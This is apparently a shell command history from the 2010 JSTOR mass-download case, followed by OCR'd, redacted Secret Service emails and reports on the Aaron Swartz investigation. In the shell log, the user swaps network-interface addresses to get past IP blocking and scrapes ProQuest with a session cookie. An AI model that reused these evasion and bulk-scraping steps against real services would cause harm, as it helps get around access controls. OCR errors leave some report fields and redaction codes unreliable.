sudo ln -s /media/3aeb9fe1-9c54-43b1-9374-72722d78d3e0/ /vol

cd /vol
"/keepgrabbing.py"

fg
ls

cd ..;/vol
"/keepgrabbing.py"

links www.jstor.org
dhcclient

/sbin/ifconfig -a

ifconfig up eth0:1 up static 18.55.6.251
ifconfig --help | less[A
ifconfig -help

ifconfig eth0:1 up static 18.55.6.251
sudo ifconfig eth0:1 up static 18.55.6.251
sudo ifconfig eth0:1 up static 18.55.6.252
/sbin/ifconfig -a

ping -i eth0:1 www.google.com
/sbin/ifconfig -a
/sbin/ifconfig -a | less

sudo ifconfig eth0:1 up static 18.55.6.241
/sbin/ifconfig -a

ping -i eth0:1 www.google.com.
ping -i 18.55.6.241 www.google.com
curl --interface eth0:1 www.google.com
curl --interface eth0:1 www.jstor.org
curl --help | less
/sbin/ifconfig -a

sudo ifconfig eth0:1 up static 18.55.6.252
curl --interface eth0:1 www.jstor.org
sudo ifconfig eth0:1 up static 18.55.7.240
curl --interface eth0:1 www.jstor.org
curl --interface eth0:1 www.jstor.org/x

ls
ermacs keepgrabbing.py

cd tomove/pdfs/
ls | wc -l
mv * /vol/pdfs
ls

cd ..
ls
mkdir umi
cd umi
curl -o 0.html "proquest.umi.com/pqdweb?RQT=305&SQ=PMID(66569)&PageSize=50"
curl -o 0.html "proquest.umi.com/pqdweb?RQT=305&SQ=PMID(66569)&PageSize=50&cfc=1"
more 0.html
curl -i proquest.umi.com/pqdweb?RQT=305&SQ=PMID(66569)&PageSize=50
curl -i "proquest.umi.com/pqdweb?RQT=305&SQ=PMID(66569)&PageSize=50"
curl -H "Cookie: JSESSIONID=44wWwqMRSHa" -o 0.html
"proquest.umi.com/pqdweb?RQT=305&SQ=PMID(66569)&PageSize=50"
more 0.html
curl -H "Cookie: JSESSIONID=44wWwqMRSHa" -o 50.html
"proquest.umi.com/pqdweb?RQT=305&SQ=PMID(66569)&PageSize=50&firstIndex=50"
diff -u 0.html 50.html
emacs curlcommands.py
python curlcommands.py
python curlcommands.py
more curlcommands.sh
rm curlcommands.py
emacs curlcommands.py
python curlcommands.py
more curlcommands.sh
bash curlcommands.sh
more 1100
more 1100.html
lynx -dump 1100.html
links 1100.html
python
cat > saneurl.py
fg
ls /media
fg
mkdir /media/drive/umi
fg
curl -i https://proquest.umi.com/pqdweb
fg
ls /media/drive/umi
more /media/drive/2073772711.pdf
more /media/drive/umi/2073772711.pdf
more /media/drive/2073772711.html
more /media/drive/2073772711.pdf
fg
cd /vol
~/keepgrabbing.py
.cd ..
cd vol
~/keepgrabbing.py
fg
~/keepgrabbing.py
.cd ..
cd vol
ls
~/.keepgrabbing.py
ls
df -h
pwd
cd ..
cd vol
~/.keepgrabbing.py
cd ../vol
ls
~/.keepgrabbing.py
cd /media
ls
cd 3aeb2a1-9c54-43b1-9374-7272278d3a0/
lst
df -h
sudo shutdown now
cd /media/dk
cd /media/drive/
mkdir jsindex
sudo mkdir jsindex
sudo chown ghost jsindex
cd jsindex
python
ls
fg
more 2010/0800.html
ls
1989
cd /vol/
ls
cd jsindex/1989
ls
is -I | less
is -l | tail
cd ../1990
ls -l | less
python
usr/bin/easy_install
sudo easy_install --install-dir /usr/lib/python2.6/ pycal
PYTHONPATH=/usr/lib/python2.6 sudo easy_install --install-dir /usr/lib/python2.6/ pycal
sudo easy_install --install-dir /usr/lib/python2.6/site-packages/ pycal
sudo PYTHONPATH=/usr/lib/python2.6/site-packages easy_install --install-dir /usr/lib/python2.6/site-packages/ pycal
cd /usr/local/lib/python2.6/
ls -a
cd dist-packages/
ls -a
rm *
sudo rm *
sudo rm -rf *
sudo easy_install pycal
python
is
python
cd
ls blocks/\wc -l
fg
ps ax | grep keep
ps ax | grep ser
tg %1
fg 0
fg
kill 2137
kill 2138
ps ax | grep keep
python servblocks.py 8092
fg
python servblocks.py 8092
emacs servblocks.py
python servblocks.py 8092
emacs servblocks.py
python servblocks.py 8092
emacs servblocks.py
python servblocks.py 8092
emacs servblocks.py
python servblocks.py 8092
kill %1
fg
python servblocks.py 8092
kill %1
fg
python servblocks.py 8092
kill %1
fg
python servblocks.py 8092
kill %1
fg
python servblocks.py 8092
kill %1
fg
python servblocks.py 8092
kill %1
fg
python servblocks.py 8092
kill %1
fg
emacs servblocks.py
python servblocks.py 8092
cd /media/drive/
~/.keepgrabbing.py
df -h
df -h | grep sdd; date
du -hs /vol/
rm /vol/urlstograb2.wget
du -hs /vol/
mkdir /vol/sd/jo
ls
cd
g
python
ls
cd uml
ls
python
g
more keepgrabbing.py
ls
mkdir pdfs
ls
mkdir pdfs
ls
sudo chown ghost pdfs
cd pdfs/
"~/keepgrabbing.py
cd ..
"~/keepgrabbing.py
g
"~/keepgrabbing.py
dids
g
python
ls
cd "~/uml
ls
python
g
ls 1000000.html
g
more 128214.html
more 128213
ls 128204.html
ls /vol/uml/128204.html
links /vol/uml/128204.html
python
ls -lh
ls blocks | wc -l
python
ls *dbm
g
ls
more deleteandgrab
split -e S -l 1000 deleteandgrab blocks/regrabc
ls blocks/ | wc -l
cd blocks/
ls | less
ls | tail
cd ..
fg
ls /mnt
df
ls /media/drive
fg
links http://caliber.ucpress.net/dol/pdf/10.1525/as.2010.50.5.835
ls
rm p1-salmela.pdf
curl -i "http://portal.acm.org/ft_gateway.cfm?id=1187439&type=pdf&CFID=15902&CFTOKEN=55059171"
curl -i "http://portal.acm.org/ft_gateway.cfm?id=1187439&type=pdf&CFID=15902&CFTOKEN=55059171"
curl -i "http://portal.acm.org/ft_gateway.cfm?id=1187439&type=pdf"
curl -i "http://portal.acm.org/ft_gateway.cfm?id=1187439&type=pdf" | less
ls
more serveblocks.py
emacs serveblocks.py
more keepgrabbing.py
ls /vol
"/sts /vol umi > umi.sls
more umi.sls
"/sts /vol/umi > umi.sls
"/sts /vol/pdfs > pdfs3.sls
ls -IR /vol > js3.lsR
more js3.lsR
ls -IR /vol/ > js3.lsR
more js3.lsR
wc -j js3.lsR
echo -n me@aaronsw.com | md5sum
df
ps ax
df
mount /dev/sdc/vol
cd /vol
ls
cd /media/
ls
ls -l
rm drive
sudo rm drive
sudo mkdir drive
sudo mount /dev/sde drive
sudo mount /dev/sde1 drive
cd drive
ls
df
fd -h
df -h
mkdir pdfs
sudo mkdir pdfs
sudo chown ghost pdfs
ls

RIF
1816
All e-mail to/from this account is subject to official review and is for official use only. Action may be taken in response to any inappropriate use of the Secret Service's e-mail system. This e-mail may contain information that is privileged, law enforcement sensitive, or subject to other disclosure limitations. Such information is loaned to you and should not be further disseminated without the permission of the Secret Service. If you have received this e-mail in error, do not keep, use, disclose, or copy it; notify the sender immediately and delete it.
Thanks for the update.

From: (b)(6), (b)(7) (C)
Sent: Friday, March 04, 2011 4:03 PM
To: (b)(6), (b)(7) (C) (BOS)
Subject: Re: First Interview Attempt

Thanks for the update. SA(C) went to the address this morning and there was no answer. Then checked with Postal and they show a change of address request that was filled out in (b)(6), (b)(7). New address: (b)(6), (b)(7) (C) (BOS).
Thx for the update

From: Heymann, Stephen (USAMA) [mailto:usss.dhs.gov]
Sent: Friday, March 04, 2011 4:03 PM
To: Heymann, Stephen (USAMA) [mailto:cambridgepolice.org]
Cc: [b](6),(b)(7)(C) [BOS] [b](6),(b)(7)(C) [BOS]
Subject: First Interview Attempt

SA went to address this morning and there was no answer. then checked with Postal and they show a change of address request that was filled out in October 2010. New address:

U.S. Secret Service
Boston Field Office

All e-mail to/from this account is subject to official review and is for official use only. Action may be taken in response to any inappropriate use of the Secret Service's e-mail system. This e-mail may contain information that is privileged, law enforcement sensitive, or subject to other disclosure limitations. Such information is loaned to you and should not be further disseminated without the permission of the Secret Service. If you have received this e-mail in error, do not keep, use, disclose, or copy it; notify the sender immediately and delete it.
(b)(8),(b)(7)(C)

Went to her address this morning - no answer. I then checked with Postal and they show a change of address request that was filled out in (b)(8),(b)(7)(C). New address: (b)(8),(b)(7)(C)

If I can get out there this afternoon, I will. If not, we will take care of it on Monday morning. If you could please update the USA about this, I would appreciate it. I talked to him this morning and he asked to be kept in the loop.

(b)(8),(b)(7)(C)

U.S. Secret Service
Boston Field Office

From: BOS
Sent: Monday, February 28, 2011 3:37 PM
To: CID
Cc: FSO; BOS
Subjects: 775.510 Request for Investigation Other District - Aaron Swartz (102-775-60071-S)

U.S. SECRET SERVICE INVESTIGATIVE REPORT

FROM: BOSTON FIELD OFFICE
TO: CRIMINAL INVESTIGATIVE DIVISION
     SAN FRANCISCO FIELD OFFICE
INFO: INVESTIGATIVE SUPPORT DIVISION
SUBJECT: REQUEST FOR INVESTIGATION OTHER DISTRICT

ACTUAL LOSS: $ TBD
POTENTIAL LOSS: $

2,000,000.00

CASE TITLE: AARON SWARTZ
CASE TYPE: 775.510
SECONDARY TYPES: 848.191, 848.304, 848.930
CONTROLLING OFFICE: BOSTON FIELD OFFICE
REPORT MADE BY: SA (b)(8)(C)
DATE CASE OPENED: 01/07/11
PREVIOUS REPORT: 01/21/11 - OPENING REPORT
REPORTING PERIOD: 01/22/11 - 02/28/11
STATUS: CONTINUED

SYNOPSIS:

Investigation has determined Aaron Swartz intruded into the MIT network without authorization by making entry into a locked closet containing networking components for MIT networks, connecting a computer to the MIT network, and downloading documents from JSTOR. Swartz was arrested by MIT Police and agents of the New England Electronic Crimes Task Force and charged with violation of Massachusetts General Law (MGL) for breaking and entering.

Agents and Detectives of the New England Electronic Task Force subsequently executed search warrants at Swartz's residence and office.

The San Francisco Field Office is requested to interview (b)(8)(C) and (b)(8)(C), two known associates of Swartz, to determine their knowledge of his activities.

Case continued in Boston.

DETAILS OF INVESTIGATION:

Reference is made to the Opening Report in this case, written by SA (b)(8)(C) on 01/21/11.

On 01/25/11, SA (b)(8)(C) (b)(8)(C) for JSTOR (b)(8)(C) the from the Office of General Counsel of JSTOR, (b)(8)(C) of Public Systems for JSTOR, (b)(8)(C) for JSTOR, and AUSA Stephen Heymann held a conference call. Confirmed that JSTOR has licensing agreements with publishers to make journals and articles available on the JSTOR website, and that some of those licensing agreements include revenue sharing with publishers in which the publishers will get a share of the fees JSTOR collects from institutions. (b)(8)(C) stated that some of the publishers allow for a direct fee to download an individual article, but some publishers do not want individual articles downloaded. (b)(8)(C) estimated that the value of the documents Swartz downloaded to be in excess of $2 million. (b)(8)(C) stated that he believed the average cost of the articles was $14.00. (b)(8)(C) stated that the first indication of an intrusion was a degradation of service for all customers. (b)(8)(C) stated that the software on the JSTOR site relies on cookies to track users and that Swartz must have found a way to delete the JSTOR cookies from his system prior to making a new request to download a document. (b)(8)(C) stated multiple download requests occurred simultaneously and that at times, hundreds of download requests were occurring concurrently. (b)(8)(C) confirmed that the JSTOR terms and conditions clearly prohibited the kind of downloading Swartz was doing.

1821
On 02/03/11, and Detective received the Acer Aspire netbook, hard drive enclosure, Western Digital hard drive contained in the enclosure, and a USB flash drive from MIT Police. SA and Detective took the evidence directly to Cambridge Police Headquarters. The evidence items were logged into Cambridge Police evidence and taken to the Cambridge Police Identification Unit. The Identification Unit began processing the items for fingerprints. The results of the analysis is pending.

On 02/04/11, Detective from the Massachusetts Institute of Technology, and AUSA Stephen Heymann held a conference call. explained that he was driving to work on 01/04/11 when called him and told him that he found a laptop connected to a switch. explained that previously had sent an email to describing the switch he had traced the excessive downloading from JSTOR to. explained that after found the laptop connected to the switch, he started a packet capture on the same switch. also explained that the switch was connected to was an entry switch, and that normally only edge switches should be plugged into the entry switch. also explained that when arrived, he used NMAP to discover that port 22 and 8092 were open on the laptop that was discovered. said that he reviewed the packet capture and discovered 14 different IP addresses sending SSH traffic to the laptop. believed that some of the IP addresses were SSH background noise, however he did note that could be traced to the linerva server at MIT. The linerva server is a Linux dial up server run by the Student Information Processing Board at MIT. stated that he was still working on analyzing the packet capture.

On 02/07/11, told that he noticed that on 01/06/11, the laptop used by Swartz was briefly registered on the MIT network from building 4 of MIT. noticed that during that time the laptop communicated with IP addresses and stated that those IP addresses are associated with Amazon Elastic Compute Cloud, which is a web service that provides resizable compute capacity in the cloud.

Also on 02/07/11, sent an email to AUSA Heymann to revise her estimate of how many documents were downloaded by Swartz. stated that Swartz downloaded over 2.8 million documents in November and December of 2010. also forwarded emails from stating that the initial analysis of the activity indicated that the downloads were done systematically using sequential increases in stable URLs. The same email included a statement from JSTOR indicating that the downloading did not appear to be targeted towards research articles or any particular titles, collections, or disciplines. For the 2.8 million downloads in November and December of 2010, the breakdown was 1,385,569 research articles, 938,063 reviews, 62,127 news articles and 9,472 editorials.
On 02/11/11, SA [redacted] and Detective [redacted] executed a federal search warrant on Swartz’s residence located at 950 Massachusetts Avenue, Apartment [redacted], Cambridge, Massachusetts. Swartz was home at the time the search was executed. While the search was conducted, Swartz made statements to the effect of, what took you so long, and why didn’t you do this earlier? The search team seized several items described in greater detail in the Evidence section of this report. After completing the search of Apartment 1, the search team returned to the first floor to search the storage locker allocated to apartment 1. While on the first floor, SA [redacted] observed Swartz leave the building, walk to the street and sprint away after he reached the street. After ascertaining that none of the items in the storage locker belonged to Swartz, the search team moved to 124 Mount Auburn Street in Cambridge, Massachusetts where the Harvard University, Edmond J Safra Center for Ethics is located and Swartz is listed as a lab fellow. The search team observed Swartz at the Safra Center for Ethics. Harvard University Police secured Swartz’s office while a federal search warrant was obtained. After the search warrant was obtained, the team searched Swartz’s office at the Safra Center. SA [redacted] seized and Apple iMac computer and a Western Digital hard drive from Swartz’s office.

On 02/25/11, Detective [redacted] received the Acer Aspire netbook, hard drive enclosure, Western Digital hard drive contained in the enclosure, and the USB flash drive from Cambridge Police Property Technician [redacted]. Detective [redacted] took the evidence items directly to the BCSAP Lab Evidence Vault.

**SUSPECTS/DEFENDANTS:**

**SWARTZ, Aaron H - SUSPECT**

| 1599: | Yes |
| 1599A: | No |

**SUBJECT**

| AKA: | [redacted] |
| RACE: | [redacted] |
| SEX: | [redacted] |
| DOB: | [redacted] |
| SSN: | [redacted] |
| FBI: | [redacted] |
| SID: | [redacted] |
| HT: | [redacted] |
| WT: | [redacted] |
| EYES: | [redacted] |
| HAIR: | [redacted] |
| 1599: | No |
| 1599A: | No |
| PHOTO: | No |
| PRINTS: | No |
| POF: | [redacted] |
| DL/STATE: | [redacted] |
ADDRESS: 
EMAIL: 
DATABASE CHECKS: 02/24/11

- SUBJECT

AKA: N/A
RACE: 
SEX: 
DOB: 
SSN: N/A
FBI: 
$ID: N/A
HT: N/A
WT: N/A
EYES: 
HAIR 
1599: No
1599A: No
PHOTO: No
PRINTS: No
POB: 
DL/STATE: 
ADDRESS: 
EMAIL: 
DATABASE CHECKS: 02/24/11

EXAMS CONDUCTED:

ECAP: Ongoing
Poly: N/A
FSD: N/A

DATABASE SEARCHES CONDUCTED:

MCI / CI: 01/07/11
NCIC/NLETS: 01/07/11
CCS/CFT: 01/07/11
LOCAL LE: 01/07/11

EVIDENCE / CONTRABAND / PERSONAL PROPERTY:

EVIDENCE SSF 1544 S/N: 102 2011 CE 31
DATE OF INVENTORY: 02/11/11
INVENTORY MADE BY: Scientific Atlantic Modem SN# SM1565968
DESCRIPTION OF ITEMS: Apple Multi Adapter SN# 6F9395M7ZU6
Apple Multi Adapter SN# 6F7281MNU4S
Black Notebook Journal

SEIZED / OBTAINED FROM: Aaron Swartz
LOCATION: Boston Field Office Evidence Vault
DISPOSITION: Held pending judicial action.
EVIDENCE SSF 1544 S/N: 102 2011 CE 32
DATE OF INVENTORY: 02/11/11
INVENTORY MADE BY: SA (b)(6),(b)(7)(C)
DESCRIPTION OF ITEMS: Harvard University Earning Statement
Earning Statement Addressed to Aaron

Master's Thesis M-876 Lind
Western Digital Mail-in Rebate Form

Swartz

SEIZED / OBTAINED FROM: Aaron Swartz
LOCATION: Boston Field Office Evidence Vault
DISPOSITION: Held pending judicial action.

EVIDENCE SSF 1544 S/N: 102 2011 CE 33
DATE OF INVENTORY: 02/11/11
INVENTORY MADE BY: SA (b)(6),(b)(7)(C)
DESCRIPTION OF ITEMS: Wireless-G 2.4 GHz Broadband Router

Links

MacBook Mac 05X Install Disc one and two
MacBook User Guide in Gray Cardboard case
Apple Care Service Letter Dispatch

R276408

SEIZED / OBTAINED FROM: Genius Bar Work Confirmation
LOCATION: Boston Field Office Evidence Vault
DISPOSITION: Held pending judicial action.

EVIDENCE SSF 1544 S/N: 102 2011 CE 34
DATE OF INVENTORY: 02/11/11
INVENTORY MADE BY: SA (b)(6),(b)(7)(C)
DESCRIPTION OF ITEMS: Nokia Cell Phone
T-Mobile, HTC G2 cell phone
12 Magnetic Media Tapes

SEIZED / OBTAINED FROM: Aaron Swartz
LOCATION: Boston Field Office Evidence Vault
DISPOSITION: Held pending judicial action.

EVIDENCE SSF 1544 S/N: 102 2011 CE 35
DATE OF INVENTORY: 02/11/11
INVENTORY MADE BY: SA (b)(6),(b)(7)(C)
DESCRIPTION OF ITEMS: Metallic Blue iPod
White iPod with carrying case
White iPod with serial number

White iTalk
Black 16GB Thumb-drive

SEIZED / OBTAINED FROM: Aaron Swartz
LOCATION: Boston Field Office Evidence Vault
DISPOSITION: Held pending judicial action.

EVIDENCE SSF 1544 S/N: 102 2011 CE 36
DATE OF INVENTORY: 02/11/11

8A6330856UX8A

SEIZED / OBTAINED FROM: Boston Field Office Evidence Vault
LOCATION: Held pending judicial action.
DISPOSITION:
INVENTORY MADE BY: SA
DESCRIPTION OF ITEMS: Fifty-four miscellaneous compact discs
Two hard drive enclosures
T-Mobile Sidekick
Sony Micro Vault
Aaron Swartz
Boston Field Office Evidence Vault
Held pending judicial action.

SEIZED / OBTAINED FROM:
LOCATION:
DISPOSITION:

EVIDENCE SSF 1544 S/N:
DATE OF INVENTORY:
INVENTORY MADE BY:
DESCRIPTION OF ITEMS:

Kit
Guide

SEIZED / OBTAINED FROM:
LOCATION:
DISPOSITION:

EVIDENCE SSF 1544 S/N:
DATE OF INVENTORY:
INVENTORY MADE BY:
DESCRIPTION OF ITEMS:

WB025AXGD87

SEIZED / OBTAINED FROM:
LOCATION:
DISPOSITION:

EVIDENCE SSF 1544 S/N:
DATE OF INVENTORY:
INVENTORY MADE BY:
DESCRIPTION OF ITEMS:

WMANN1006724

SEIZED / OBTAINED FROM:
LOCATION:
DISPOSITION:

EVIDENCE SSF 1544 S/N:
DATE OF INVENTORY:
INVENTORY MADE BY:
DESCRIPTION OF ITEMS:

WB025AXGD87

SEIZED / OBTAINED FROM:
LOCATION:
DISPOSITION:

EVIDENCE SSF 1544 S/N:
DATE OF INVENTORY:
INVENTORY MADE BY:
DESCRIPTION OF ITEMS:

WMANN1006724

SEIZED / OBTAINED FROM:
LOCATION:
DISPOSITION:

EVIDENCE SSF 1544 S/N:
DATE OF INVENTORY:
INVENTORY MADE BY:
DESCRIPTION OF ITEMS:

WMNAZA1626675

SEIZED / OBTAINED FROM:
LOCATION:
DISPOSITION:

DISPOSITION:

The San Francisco Field Office is requested to interview and determine if Swartz discussed JSTOR or MIT with them, and if they had any knowledge of Swartz's downloading of documents from JSTOR. Prior to making contact with the San Francisco agent.
Assigned this IOD is requested to contact Boston case agent at 617-565-5640 to further discuss this case.

Case continued pending further investigation and judicial action.

USSS / BOSTON
Fingerprint Verification Complete

I received a phone call from CPD Criminalist [cambridgepolice.org] today. She told me that the Boston Police Identification unit has verified and concurs with her findings regarding a conclusive match of a print belonging to Aaron Swartz being found on the drive contained within the enclosure.

They are gathering all notes and generating formal reports of such, they will pass off all those to me in the beginning of next week.

I'm at Tampa Airport now trying to get on a flight, I'll be in tomorrow.

I'm participating in a warrant sweep starting at 5:00am tomorrow. I should get to the office around 12:00pm.

Thanks
From: [Redacted]
Sent: Tuesday, March 01, 2011 12:42 PM
To: [Redacted] (BOS) [Redacted] (SFO)
Cc: [Redacted] (BOS) [Redacted] (SFO)
Subject: [Redacted] Conference Number

That time works for me. Unfortunately, [Redacted] will be in the field on an operation, so she will be unavailable. If that is okay, I will talk to you soon.

From: [Redacted] (BOS)
Sent: Tuesday, March 01, 2011 9:26 AM
To: [Redacted] (SFO) [Redacted] (SFO)
Cc: [Redacted] (BOS) [Redacted] (BOS) (C)
Subject: [Redacted] Conference Number

Call: [Redacted] (C)
Passcode: [Redacted] (C)

Let me know if 1500 our time 1200 your time is still good.

From: [Redacted]

U.S. Secret Service
Boston Field Office

From: Haymann, Stephen (USAMA) [mailto: [Redacted]]
Sent: Tuesday, March 01, 2011 12:22 PM
To: [Redacted] (BOS)
Subject: Conference Number

Call: [Redacted] (C)
Passcode: [Redacted] (C)
<table>
<thead>
<tr>
<th>From:</th>
<th>Heymann, Stephen (USAMA)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Sent:</td>
<td>Tuesday, March 01, 2011 12:22 PM</td>
</tr>
<tr>
<td>To:</td>
<td>(b)(6), (b)(7)(C) (BOS)</td>
</tr>
<tr>
<td>Subject:</td>
<td>Conference Number</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Call:</th>
<th>(b)(6), (b)(7)(C)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Passcode:</td>
<td>(b)(6), (b)(7) (C)</td>
</tr>
</tbody>
</table>
It was mentioned that the AUSA wanted to have a conference call prior to us doing the interviews. Is that still the case?

Please let us know.

Thank you,

U.S. Secret Service
Boston Field Office

U.S. SECRET SERVICE INVESTIGATIVE REPORT

FROM: BOSTON FIELD OFFICE
TO: CRIMINAL INVESTIGATIVE DIVISION
SAN FRANCISCO FIELD OFFICE
INFO: INVESTIGATIVE SUPPORT DIVISION

SUBJECT: REQUEST FOR INVESTIGATION OTHER DISTRICT

ACTUAL LOSS: $ TBD
POTENTIAL LOSS: $

2,000,000.00

CASE TITLE: AARON SWARTZ
CASE TYPE: 775.510
SECONDARY TYPES: 848.191, 848.304, 848.930
CONTROLLING OFFICE: BOSTON FIELD OFFICE
REPORT MADE BY: SA (b)(6),(b)(7)(C)
DATE CASE OPENED: 01/07/11
PREVIOUS REPORT: 01/21/11 - OPENING REPORT
Investigation has determined Aaron Swartz intruded into the MIT network without authorization by making entry into a locked closet containing networking components for MIT networks, connecting a computer to the MIT network, and downloading documents from JSTOR. Swartz was arrested by MIT Police and agents of the New England Electronic Crimes Task Force and charged with violation of Massachusetts General Law (MGL) for breaking and entering.

Agents and Detectives of the New England Electronic Task Force subsequently executed search warrants at Swartz's residence and office. The San Francisco Field Office is requested to interview two associates of Swartz, to determine their knowledge of his activities.

Case continued in Boston.

DETAILS OF INVESTIGATION:

Reference is made to the Opening Report in this case, written by SA on 01/21/11.

On 01/25/11, SA the for JSTOR, the Office of General Counsel of JSTOR, a for JSTOR, and AUSA Stephen Heymann held a conference call confirmed that JSTOR has licensing agreements with publishers to make journals and articles available on the JSTOR website, and that some of those licensing agreements include revenue sharing with publishers in which the publishers will get a share of the fees JSTOR collects from institutions stated that some of the publishers allow for a direct fee to download an individual article, but some publishers do not want individual articles downloaded. estimated that the value of the documents Swartz downloaded to be in excess of $2 million. stated that he believed the average cost of the articles was $14.00. stated that the first indication of an intrusion was a degradation of service for all customers. stated that the software on the JSTOR site relies on cookies to track users and that Swartz must have found a way to delete the JSTOR cookies from his system prior to making a new request to download a document stated multiple download requests occurred simultaneously and that at times, hundreds of download requests were occurring concurrently confirmed that the JSTOR terms and conditions clearly prohibited the kind of downloading Swartz was doing

On 02/03/11, SA and Detective received the Acer Aspire netbook, hard drive enclosure, Western Digital hard drive contained in the
enclosure, and a USB flash drive from MIT Police SA [b](6),(7) and Detective [b](6),(7) took the evidence items directly to Cambridge Police Headquarters. The evidence items were logged into Cambridge Police evidence and taken to the Cambridge Police Identification Unit. The Identification Unit began processing the items for fingerprints. The results of the analysis is pending.

On 02/04/11, SA [b](6),(7) Detective [b](6),(7) of the Cambridge Police, from the Massachusetts Institute of Technology, and AUSA Stephen Heymann held a conference call. [b](6),(7) explained that he was driving to work on 01/04/11 when [b](6),(7) called him and told him that he found a laptop connected to a switch. [b](6),(7) explained that previously [b](6),(7) had sent an email to [b](6),(7) describing the switch he had traced the excessive downloading from JSTOR to. [b](6),(7) explained that after [b](6),(7) found the laptop connected to the switch, he started a packet capture on the same switch. [b](6),(7) also explained that the switch the laptop was connected to was an entry switch, and that normally only edge switches should be plugged into the entry switch. [b](6),(7) also explained that when [b](6),(7) arrived, he used NMAP to discover that port 22 and 8092 were open on the laptop that was discovered. [b](6),(7) said that he reviewed the packet capture and discovered 14 different IP addresses sending SSH traffic to the laptop. [b](6),(7) believed that some of the IP addresses were SSH background noise, however he did note that could be traced to the linerva server at MIT. The linerva server is a Linux dial up server run by the Student Information Processing Board at MIT. [b](6),(7) stated that he was still working on analyzing the packet capture.

On 02/07/11, [b](6),(7) told SA [b](6),(7) that he noticed that on 01/06/11, the laptop used by Swartz was briefly registered on the MIT network from building 4 of MIT. [b](6),(7) noticed that during that time the laptop communicated with IP addresses and stated that those IP addresses are associated with Amazon Elastic Compute Cloud, which is a web service that provides resizable compute capacity in the cloud.

Also on 02/07/11, [b](6),(7) sent an email to AUSA Heymann to revise her estimate of how many documents were downloaded by Swartz. [b](6),(7) stated that Swartz downloaded over 2.8 million documents in November and December of 2010. [b](6),(7) also forwarded emails from [b](6),(7) stating that the initial analysis of the activity indicated that the downloads were done systematically using sequential increases in stable URLs. The same email included a statement from [b](6),(7) of JSTOR indicating that the downloading did not appear to be targeted towards research articles or any particular titles, collections, or disciplines. For the 2.8 million downloads in November and December of 2010, the breakdown was 1,385,569 research articles, 938,063 reviews, 62,127 news articles and 9,472 editorials.

On 02/11/11, SA [b](6),(7) TSAIC [b](6),(7) SA [b](6),(7) SA [b](6),(7) and Detective [b](6),(7) executed a federal search warrant on Swartz's residence located at 950 Massachusetts Avenue, Apartment [b](6),(7).
Cambridge, Massachusetts. Swartz was home at the time the search was executed. While the search was conducted, Swartz made statements to the effect of, what took you so long, and why didn’t you do this earlier? The search team seized several items described in greater detail in the Evidence section of this report. After completing the search of Apartment 0(8,0), the search team returned to the first floor to search the storage locker allocated to apartment 0(6,0). While on the first floor, SA 0(6,7) observed Swartz leave the building, walk to the street and sprint away after he reached the street. After ascertaining that none of the items in the storage locker belonged to Swartz, the search team moved to 124 Mount Auburn Street in Cambridge, Massachusetts where the Harvard University, Edmond J Safra Center for Ethics is located and Swartz is listed as a lab fellow. The search team observed Swartz at the Safra Center for Ethics. Harvard University Police secured Swartz’s office while a federal search warrant was obtained. After the search warrant was obtained, the team searched Swartz’s office at the Safra Center. SA 0(6,7) seized and Apple iMac computer and a Western Digital hard drive from Swartz’s office.

On 02/25/11, Detective 0(8,0) received the Acer Aspire netbook, hard drive enclosure, Western Digital hard drive contained in the enclosure, and the USB flash drive from Cambridge Police Property Technician 0(6,7) Detective 0(8,0) took the evidence items directly to the ECSAP Lab Evidence Vault.

SUSPECTS/DEFENDANTS:

SWARTZ, Aaron H - SUSPECT
1599: Yes
1599A: No

AKA:
RACE:
SEX:
DOB:
SSN:
FBI:
SID:
HT:
WT:
EYES:
HAIR:

1599: No
1599A: No
PHOTO:
PRINTS:
POB:
DL/STATE:
ADDRESS:
EMAIL:
DATABASE CHECKS: 02/24/11
SUBJECT

AKA: N/A
RACE: (b)(6),(b)(7)(C)
SEX: N/A
DOB: N/A
SSN: N/A
FBI: N/A
SID: N/A
HT: N/A
WT: N/A
EYES: (b)(6),(b)(7)(C)
HAIR
1599: No
1599A: No
PHOTO: No
PRINTS: No
POB: N/A
DL/STATE: (b)(6),(b)(7)(C)
ADDRESS: N/A
EMAIL: N/A
DATABASE CHECKS: 02/24/11

EXAMS CONDUCTED:

ECSAP: Ongoing
Poly: N/A
FSD: N/A

DATABASE SEARCHES CONDUCTED:

NCI / CI: 01/07/11
NCIC/NLETFS: 01/07/11
CCS/CFT: 01/07/11
LOCAL LE: 01/07/11

EVIDENCE / CONTRABAND / PERSONAL PROPERTY:

EVIDENCE SSF 1544 S/N: 102 2011 CE 31
DATE OF INVENTORY: 02/11/11
INVENTORY MADE BY: SA (b)(6),(b)(7)(C)
DESCRIPTION OF ITEMS: Scientific Atlantic Modem SN# SM1565968
Apple Multi Adapter SN# 6F9395M7U6
Apple Multi Adapter SN# 6F7281NNU4S
Black Notebook Journal

SEIZED / OBTAINED FROM: Aaron Swartz
LOCATION: Boston Field Office Evidence Vault
DISPOSITION: Held pending judicial action.

EVIDENCE SSF 1544 S/N: 102 2011 CE 32
DATE OF INVENTORY: 02/11/11
INVENTORY MADE BY: SA (b)(6),(b)(7)(C)
DESCRIPTION OF ITEMS: Harvard University Earning Statement
Earning Statement Addressed to Aaron
Swartz

Master's Thesis M-876 Lind
Western Digital Mail-in Rebate Form

SEIZED / OBTAINED FROM: Aaron Swartz
LOCATION: Boston Field Office Evidence Vault
DISPOSITION: Held pending judicial action.

EVIDENCE SSF 1544 S/N: 102 2011 CE 33
DATE OF INVENTORY: 02/11/11
INVENTORY MADE BY: SA (X)(O)(O)(X)(C)
DESCRIPTION OF ITEMS: Wireless-G 2.4 GHz Broadband Router
Linksys

MacBook Mac OSX Install Disc one and two
MacBook User Guide in Gray Cardboard case
Apple Care Service Letter Dispatch

R&2736408

SEIZED / OBTAINED FROM: Genius Bar Work Confirmation
LOCATION: Aaron Swartz
DISPOSITION: Boston Field Office Evidence Vault
Held pending judicial action.

EVIDENCE SSF 1544 S/N: 102 2011 CE 34
DATE OF INVENTORY: 02/11/11
INVENTORY MADE BY: SA (X)(O)(O)(X)(C)
DESCRIPTION OF ITEMS: Nokia Cell Phone
T-Mobile, HTC G2 cell phone
12 Magnetic Media Tapes

SEIZED / OBTAINED FROM: Aaron Swartz
LOCATION: Boston Field Office Evidence Vault
DISPOSITION: Held pending judicial action.

EVIDENCE SSF 1544 S/N: 102 2011 CE 35
DATE OF INVENTORY: 02/11/11
INVENTORY MADE BY: SA (X)(O)(O)(X)(C)
